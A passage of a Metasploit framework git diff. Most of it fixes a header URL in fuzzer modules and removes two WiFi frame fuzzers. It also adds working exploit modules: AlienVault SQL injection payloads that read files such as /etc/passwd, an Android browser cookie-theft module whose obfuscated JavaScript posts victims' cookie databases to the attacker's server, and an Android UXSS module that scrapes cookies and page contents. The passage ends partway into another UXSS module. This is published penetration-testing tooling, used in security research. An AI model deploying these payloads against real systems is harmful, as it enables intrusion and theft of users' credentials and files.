a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index 532bab88fb..fc8a51df57 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index cc0f542eff..765c1603f6 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb index 1252c6c01e..a47564f63f 100644 --- a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index fa74793808..b3ac1f0a1e 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index 6a12b48aba..e66b34050f 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index 5577d1d668..9156563bff 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 124ac38641..21b19243ae 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb index 2b26e859b1..23d1f9cb56 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb index a8c49c70b6..fb5cad0492 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb index 2fa3bcf1a3..fbb1368b86 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb index c44622d550..658ecdee4a 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 9216256c6e..9074760d1c 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 157cf6ac22..611c33d0ca 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb b/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb deleted file mode 100644 index a31e89b589..0000000000 --- a/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb +++ /dev/null @@ -1,127 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Beacon Frame Fuzzer', - 'Description' => %q{ - This module sends out corrupted beacon frames. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']), - OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"]) - ], self.class) - end - - def ping_check - 1.upto(3) do |i| - x = `ping -c 1 -n #{datastore['PING_HOST']}` - return true if x =~ /1 received/ - if (i > 1) - print_status("Host missed a ping response...") - end - end - return false - end - - def run - - srand(0) - - @@uni = 0 - - frames = [] - - open_wifi - - print_status("Sending corrupt frames...") - - while (true) - frame = create_frame() - - if (datastore['PING_HOST']) - - if (frames.length >= 5) - frames.shift - frames.push(frame) - else - frames.push(frame) - end - - 1.upto(3) do - wifi.write(frame) - if (not ping_check()) - frames.each do |f| - print_status "****************************************" - print_status f.inspect - end - return - end - end - else - wifi.write(frame) - end - end - end - - - def create_frame - mtu = 1500 # 2312 # 1514 - ies = rand(1024) - - ssid = Rex::Text.rand_text_alphanumeric(rand(256)) - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - #"\x00\x05" + # capability flags - Rex::Text.rand_text(2) + - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + channel.chr - - 1.upto(ies) do |i| - max = mtu - frame.length - break if max < 2 - t = rand(256) - l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1) - d = Rex::Text.rand_text(l) - frame += t.chr + l.chr + d - end - - return frame - - end - -end diff --git a/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb b/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb deleted file mode 100644 index 114fc89c4a..0000000000 --- a/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb +++ /dev/null @@ -1,126 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Probe Response Frame Fuzzer', - 'Description' => %q{ - This module sends out corrupted probe response frames. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) - register_options( - [ - OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']), - OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"]) - ], self.class) - end - - def ping_check - 1.upto(3) do |i| - x = `ping -c 1 -n #{datastore['PING_HOST']}` - return true if x =~ /1 received/ - if (i > 1) - print_status("Host missed a ping response...") - end - end - return false - end - - def run - - srand(0) - - @@uni = 0 - - frames = [] - - open_wifi - - print_status("Sending corrupt frames...") - - while (true) - frame = create_frame() - - if (datastore['PING_HOST']) - - if (frames.length >= 5) - frames.shift - frames.push(frame) - else - frames.push(frame) - end - - 1.upto(10) do - wifi.write(frame) - if (not ping_check()) - frames.each do |f| - print_status "****************************************" - print_status f.inspect - end - return - end - end - else - wifi.write(frame) - end - end - end - - def create_frame - mtu = 500 - ies = rand(1024) - - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - Rex::Text.rand_text(2) + # beacon interval - Rex::Text.rand_text(2) # capability flags - - ssid = Rex::Text.rand_text_alphanumeric(rand(256)) - - # ssid tag - frame << "\x00" + ssid.length.chr + ssid - - # supported rates - frame << "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" - - # current channel - frame << "\x03" + "\x01" + channel.chr - - 1.upto(ies) do |i| - max = mtu - frame.length - break if max < 2 - t = rand(256) - l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1) - d = Rex::Text.rand_text(l) - frame += t.chr + l.chr + d - end - - return frame - - end - -end diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb new file mode 100644 index 0000000000..353e0dbbf5 --- /dev/null +++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", + 'Description' => %q{ + AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG + generation PHP file. This module exploits this to read an arbitrary file from + the file system. Any authenticated user is able to exploit it, as administrator + privileges aren't required. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module + ], + 'References' => + [ + ['EDB', '32644'] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Platform' => ['linux'], + 'Privileged' => false, + 'DisclosureDate' => "Mar 30 2014")) + + register_options( + [ + Opt::RPORT(443), + OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), + OptString.new('USERNAME', [ true, 'Single username' ]), + OptString.new('PASSWORD', [ true, 'Single password' ]), + OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]) + ], self.class) + + end + + def run + + print_status("#{peer} - Get a valid session cookie...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') + }) + + unless res and res.code == 200 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve a cookie") + return + end + + post = { + 'embed' => '', + 'bookmark_string' => '', + 'user' => datastore['USERNAME'], + 'passu' => datastore['PASSWORD'], + 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) + } + + print_status("#{peer} - Login...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), + 'method' => 'POST', + 'vars_post' => post, + 'cookie' => cookie + }) + + unless res and res.code == 302 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') + print_error("#{peer} - Authentication failed") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve the authenticated cookie") + return + end + + i = 0 + full = '' + filename = datastore['FILEPATH'].unpack("H*")[0] + left_marker = Rex::Text.rand_text_alpha(6) + right_marker = Rex::Text.rand_text_alpha(6) + + print_status("#{peer} - Exploiting SQLi...") + + loop do + file = sqli(left_marker, right_marker, i, cookie, filename) + return if file.nil? + break if file.empty? + + str = [file].pack("H*") + full << str + vprint_status(str) + + i = i+1 + end + + path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH']) + print_good("File stored at path: " + path) + end + + def sqli(left_marker, right_marker, i, cookie, filename) + pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," + pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," + pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" + pay << " GROUP BY x)a) AND 'xnDa'='xnDa" + + get = { + 'date_from' => pay, + 'date_to' => '2014-03-30' + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'), + 'cookie' => cookie, + 'vars_get' => get + }) + + if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/ + return $1 + else + print_error("Server did not respond in an expected way") + return nil + end + end + +end + diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb new file mode 100644 index 0000000000..353e7ce052 --- /dev/null +++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", + 'Description' => %q{ + AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against + newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability + to read an arbitrary file from the file system. Any authenticated user is able to exploit + this, as administrator privileges are not required. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Chris Hebert <chrisdhebert[at]gmail.com>' + ], + 'References' => + [ + ['OSVDB', '106815'], + ['EDB', '33317'], + ['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower'] + ], + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Privileged' => false, + 'DisclosureDate' => "May 9 2014")) + + register_options([ + Opt::RPORT(443), + OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), + OptString.new('USERNAME', [ true, 'Single username' ]), + OptString.new('PASSWORD', [ true, 'Single password' ]), + OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]), + OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60]) + ], self.class) + end + + def run + + print_status("#{peer} - Get a valid session cookie...") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') + }) + + unless res && res.code == 200 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve a cookie") + return + end + + post = { + 'embed' => '', + 'bookmark_string' => '', + 'user' => datastore['USERNAME'], + 'passu' => datastore['PASSWORD'], + 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) + } + + print_status("#{peer} - Login...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), + 'method' => 'POST', + 'vars_post' => post, + 'cookie' => cookie + }) + + unless res && res.code == 302 + print_error("#{peer} - Server did not respond in an expected way") + return + end + + unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') + print_error("#{peer} - Authentication failed") + return + end + + cookie = res.get_cookies + + if cookie.blank? + print_error("#{peer} - Could not retrieve the authenticated cookie") + return + end + + i = 0 + full = '' + filename = datastore['FILEPATH'].unpack("H*")[0] + left_marker = Rex::Text.rand_text_alpha(6) + right_marker = Rex::Text.rand_text_alpha(6) + sql_true = Rex::Text.rand_text_alpha(6) + + print_status("#{peer} - Exploiting SQLi...") + + begin + ::Timeout.timeout(datastore['SQLI_TIMEOUT']) do + loop do + file = sqli(left_marker, right_marker, sql_true, i, cookie, filename) + return if file.nil? + break if file.empty? + + str = [file].pack("H*") + full << str + vprint_status(str) + + i = i+1 + end + end + rescue ::Timeout::Error + if full.blank? + print_error("#{peer} - Timeout while exploiting sqli, nothing recovered") + else + print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered") + end + return + end + + path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH']) + print_good("File stored at path: " + path) + end + + def sqli(left_marker, right_marker, sql_true, i, cookie, filename) + pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," + pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," + pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" + pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}" + + get = { + 'insertafter' => pay, + 'ctx' => 0 + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'), + 'cookie' => cookie, + 'vars_get' => get + }) + + if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/ + return $1 + else + print_error("Server did not respond in an expected way") + return nil + end + end + +end diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb new file mode 100644 index 0000000000..f87821d32b --- /dev/null +++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/jsobfu' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + include Msf::Exploit::JSObfu + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Android Browser "Open in New Tab" Cookie Theft', + 'Description' => %q{ + In Android's stock AOSP Browser application and WebView component, the + "open in new tab" functionality allows a file URL to be opened. On + versions of Android before 4.4, the path to the sqlite cookie + database could be specified. By saving a cookie containing a <script> + tag and then loading the sqlite database into the browser as an HTML file, + XSS can be achieved inside the cookie file, disclosing *all* cookies + (HttpOnly or not) to an attacker. + }, + 'Author' => [ + 'Rafay Baloch', # Discovery of "Open in new tab" bug + 'joev' # Cookie theft vector, msf module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => + [ + # the patch, released against 4.3 AOSP in February 2014 + ['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'], + ['URL', 'http://www.rafayhackingarticles.net/2014/12/android-browser-cross-scheme-data.html'] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('COOKIE_FILE', [ + true, + 'The cookie file (on older 2.x devices this is "webview.db")', + 'webviewCookiesChromium.db' + ]) + ], self.class) + end + + def on_request_uri(cli, request) + if request.method =~ /POST/i + print_status("Processing exfilrated files...") + process_post(cli, request) + send_response_html(cli, '') + elsif request.uri =~ /\.js$/i + print_status("Sending exploit javascript") + send_response(cli, exfiltration_js, 'Content-type' => 'text/javascript') + else + print_status("Sending exploit landing page...") + send_response_html(cli, landing_page_html) + end + end + + def process_post(cli, request) + data = hex2bin(request.body) + print_good "Cookies received: #{request.body.length.to_f/1024}kb" + loot_path = store_loot( + "android.browser.cookies", + 'application/x-sqlite3', + cli.peerhost, + data, + 'cookies.sqlite', + "#{cli.peerhost.ljust(16)} Android browser cookie database" + ) + print_good "SQLite cookie database saved to:\n#{loot_path}" + end + + def run + exploit + end + + def landing_page_html + %Q| + <!doctype html> + <html> + <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head> + <body style='width:100%;font-size: 16px;'> + <a href='file://#{cookie_path(datastore['COOKIE_FILE'])}##{Rex::Text.encode_base64(exfiltration_js)}'> + Redirecting... To continue, tap and hold here, then choose "Open in a new tab" + </a> + <script> + #{inline_script} + </script> + </body> + </html> + | + end + + def exfiltration_js + js_obfuscate %Q| + var x = new XMLHttpRequest(); + x.open('GET', ''); + x.responseType = 'arraybuffer'; + x.onreadystatechange = function(){ + if (x.readyState == 4) { + var buff = new Uint8Array(x.response); + var hex = Array.prototype.map.call(buff, function(d){ + var c = d.toString(16); + return (c.length < 2) ? '0'+c : c; + }).join(''); + var x2 = new XMLHttpRequest(); + x2.open('POST', '#{get_uri}/'); + x2.setRequestHeader('Content-type', 'text/plain'); + x2.send(hex); + } + }; + x.send(); + + | + end + + def inline_script + %Q| + document.cookie='#{per_run_token}=<script>eval(atob(location.hash.slice(1)))<\\/script>'; + | + end + + def cookie_path(file='') + '/data/data/com.android.browser/databases/' + file + end + + # TODO: Make this a proper Rex::Text function + def hex2bin(hex) + hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join + end + + def per_run_token + @token ||= Rex::Text.rand_text_alpha(rand(2)+1) + end + +end diff --git a/modules/auxiliary/gather/android_htmlfileprovider.rb b/modules/auxiliary/gather/android_htmlfileprovider.rb index 612d713619..c8edc3c0ed 100644 --- a/modules/auxiliary/gather/android_htmlfileprovider.rb +++ b/modules/auxiliary/gather/android_htmlfileprovider.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb new file mode 100644 index 0000000000..38b58a7d80 --- /dev/null +++ b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::JSObfu + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', + 'Description' => %q{ + This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in + all versions of Android's open source stock browser before 4.4, and Android apps running + on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug + to scrape both cookie data and page contents from a vulnerable browser window. + + Target URLs that use X-Frame-Options can not be exploited with this vulnerability. + + Some sample UXSS scripts are provided in data/exploits/uxss. + }, + 'Author' => [ + 'Rafay Baloch', # Original discovery, disclosure + 'joev' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer' ] + ], + 'PassiveActions' => [ + 'WebServer' + ], + 'References' => [ + [ 'URL', 'http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html'], + [ 'URL', 'https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef' ], + [ 'URL', 'http://trac.webkit.org/changeset/96826' ] + ], + 'DefaultAction' => 'WebServer', + 'DisclosureDate' => "Oct 4 2014" + )) + + register_options([ + OptString.new('TARGET_URLS', [ + true, + "The comma-separated list of URLs to steal.", + 'http://example.com' + ]), + OptString.new('CUSTOM_JS', [ + false, + "A string of javascript to execute in the context of the target URLs.", + '' + ]), + OptString.new('REMOTE_JS', [ + false, + "A URL to inject into a script tag in the context of the target URLs.", + '' + ]) + ], self.class) + end + + def on_request_uri(cli, request) + print_status("Request '#{request.method} #{request.uri}'") + + if request.method.downcase == 'post' + collect_data(request) + send_response_html(cli, '') + else + payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) + domains = datastore['TARGET_URLS'].split(',') + + script = js_obfuscate <<-EOS + var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}")); + targets.forEach(function(target, i){ + var obj = document.createElement('object'); + obj.setAttribute('data', target); + obj.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px'); + obj.onload = function() { + obj.data = 'javascript:if(document&&document.body){(opener||top).postMessage('+ + 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ + 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+ + '));}void(0);'; + obj.innerHTML = '#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; + }; + document.body.appendChild(obj); + }); + + window.addEventListener('message', function(e) { + var data = JSON.parse(e.data); + var x = new XMLHttpRequest; + x.open('POST', window.location, true); + x.send(e.data); + }, false); + + EOS + + html = <<-EOS + <html> + <body> + <script> + #{script} + </script> + </body> + </html> + EOS + + print_status("Sending initial HTML ...") + send_response_html(cli, html) + end + end + + def collect_data(request) + begin + response = JSON.parse(request.body) + rescue JSON::ParserError + print_bad "Invalid JSON request." + else + url = response['url'] + if response && url + file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss") + print_good "Collected data from URL: #{url}" + print_good "Saved to: #{file}" + end + end + end + + def custom_js + rjs_hook + datastore['CUSTOM_JS'] + end + + def rjs_hook + remote_js = datastore['REMOTE_JS'] + if remote_js.present? + "var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); " + else + '' + end + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb new file mode 100644 index 0000000000..887dcea57d --- /dev/null +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', + 'Description' => %q{ + This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in + all versions of Android's open source stock browser before 4.4, and Android apps running + on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug + to scrape both cookie data and page contents from a vulnerable browser window. + + If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option, + which will cause a popup window to be used. This requires a click from the user + and is much less stealthy, but is generally harmless-looking. + + By supplying a CUSTOM_JS paramter and ensuring CLOSE_POPUP is set to false, this + module also allows running aribrary javascript in the context of the targeted URL. + Some sample UXSS scripts are provided in data/exploits/uxss. + }, + 'Author' => [ + 'Rafay Baloch', # Original discovery, disclosure + 'joev' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer' ] + ], + 'PassiveActions' => [ + 'WebServer' + ], + 'References' => [ + [ 'URL', 'http://1337day.com/exploit/description/22581' ], + [ 'OSVDB', '110664' ], + [ 'CVE', '2014-6041' ] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('TARGET_URLS', [ + true, + "The comma-separated list of URLs to steal.", + 'http://example.com' + ]), + 